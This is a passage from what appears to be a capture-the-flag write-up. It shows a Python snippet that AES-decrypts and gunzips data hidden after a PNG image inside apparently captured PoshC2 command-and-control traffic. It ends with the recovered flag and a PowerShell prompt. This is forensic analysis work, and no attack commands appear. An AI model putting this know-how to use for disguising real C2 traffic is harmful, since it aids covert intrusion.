    enc=bytes.fromhex('89504e470d0a1a0a0000000d494844520000001a0000001a08030000009e94bcfc0000005d504c5445a7a7a7ffffff2b2e2de9e9e9fcfcfcbdbdbdb0b0b0bababacbcbcbd2d2d2efefefd6d6d6343736989898797a7a2e31306668673a3c3b848484a3a3a38b8b8b9d9e9d4144437e7f7e4f5251717272595b5a4c4e4e5c5e5d919191373a3966593ae0000000d84944415428917d92db1283200c4423082ae20515abb6f4ff3fb340c081eab82fd19c915d43a008122de3009cb52276000b65708ad104953564aacb88ca0afe549588ae049945f595d8331da27704805ae4b375f83e7fa43cba6971390b10aeb5286407717a3b6441e3ca44646f8bf684488f1af0e7e98190753706518f7f0edc5b8d24d1cb238ef62625c46451b7847c639387d4c389c60870e4b33a89d4106234c16dcd43b8f0223ce960b7472781835ac60dbdd414098be39d0e350c6aebe76cbc0f97f274950f0bf0b4366ed9920f2b9aede1dd8afe00d02007fdaf8766cc0000000049454e44ae4260822e2e2e2e2e2e2e2e2e542e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e542e792e2e2e2e2e2e2e792e2e2e2e2e2e2e2e2e2e2e732e2e2e2e2e2e632e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e662e2e2e2e2e2e2e2e2e2e2e542e73632e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e4063792e2e2e662e2e2e2e2e2e2e2e2e2e2e2e2e2e2e662e2e402e2e2e2e2e2e402e662e2e2e2e2e2e2e2e2e2e2e542e2e2e2e2e2e2e2e2e2e2e2e542e2e2e2e2e2e2e2e2e2e2e2e732e2e2e2e632e2e2e732e2e2e662e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e542e2e2e632e2e732e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e792e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e632e2e2e2e2e2e732e2e2e2e2e2e2e2e2e2e2e2e632e2e2e2e2e2e792e2e732e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e542e2e2e2e2e662e2e2e542e2e2e2e2e2e2e2e2e2e2e2e2e402e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e632e2e2e2e2e2e2e2e2e2e2e2e542e2e2e2e732e2e2e2e2e2e542e2e2e2e2e2e662e2e732e2e2e662e2e2e2e2e2e2e2e2e2e2e542e632e2e2e2e2e2e2e2e2e632e662e2e2e2e2e2e2e2e2e2e2e2e2e2e632e732e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e732e2e542e2e2e2e2e2e632e2e2e2e2e2e2e6640662e2e2e2e2e2e2e2e2e662e2e542e2e2e2e2e2e632e2e2e2e632e542e2e2e2e2e542e2e2e2e2e2e2e2e2e2e662e2e2e2e732e2e2e2e2e2e2e2e2e2e2e2e2e542e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e632e2e2e2e2e632e662e2e2e2e2e2e2e2e632e402e2e402e2e2e2e2e2e2e2e2e2e2e542e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e542e2e2e2e2e2e632e2e2e2e732e2e2e2e2e2e2e2e2e402e2e542e2e2e2e2e2e2e2e542e2e2e402e632e2e2e2e2e2e2e2e2e2e2e2e2e2e632e2e792e2e2e2e2e2e2e54792e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e632e732e2e2e632e2e2e2e2e2e2e2e2e2e2e2e2e2e632e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e732e2e2e2e402e2e2e2e2e2e2e632e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e732e2e2e2e2e2e2e2e63662e2e2e2e2e2e2e632e2e2e2e2e2e2e2e732e2e2e632e2e542e732e2e2e662e2e2e732e2e2e2e2e2e2e2e2e2e2e2e732e2e2e2e2e2e2e2e2e2e2e2e2e63662e632e2e2e2e2e2e2e2e2e2e2e2e402e2e2e2e2e2e2e2e792e2e2e2e2e2e2e2e2e2e732e2e632e2e542e2e2e2e2e2e542e2e2e2e2e2e2e2e632e40792e73632e2e2e2e2e2e2e2e662e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e662e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e792e2e2e2e2e2e2e2e2e2e542e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e542e2e2e542e402e2e542e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e63662e2e2e2e2e2e2e2e2e662e2e2e2e2e2e2e2e2e402e2e2e2e2e2e2e2e2e2e2e2e2e2e2e34be1a77de9c244d5cd47da2261d8302b8e415a4eb336af96996166c996b250f966fd9e80eab16683163dd497ea2ec4126f1388dd3e29b69e9729866dc697828c435f19e09c856e1894e1aa95089eb4ae8a1d2d0716fe85697f17c3d4d635194b101f52e64856aaf3cfbbe1309d5f8df')[1500:]
    iv = enc[0:16]
    enc=enc[16:]
    obj = AES.new(private_key, AES.MODE_CBC, iv)
    dec = obj.decrypt(enc)
    return gzip.decompress(dec).decode()

flag = get_flag()
print(flag)

Output

ctf{P0shC2_i5-th3_new_Hotne55}
123456PS C:\Users\operator>654321

Finally, we got the flag ctf{P0shC2_i5-th3_new_Hotne55} along with 300 points \o/. It was a really fun challenge.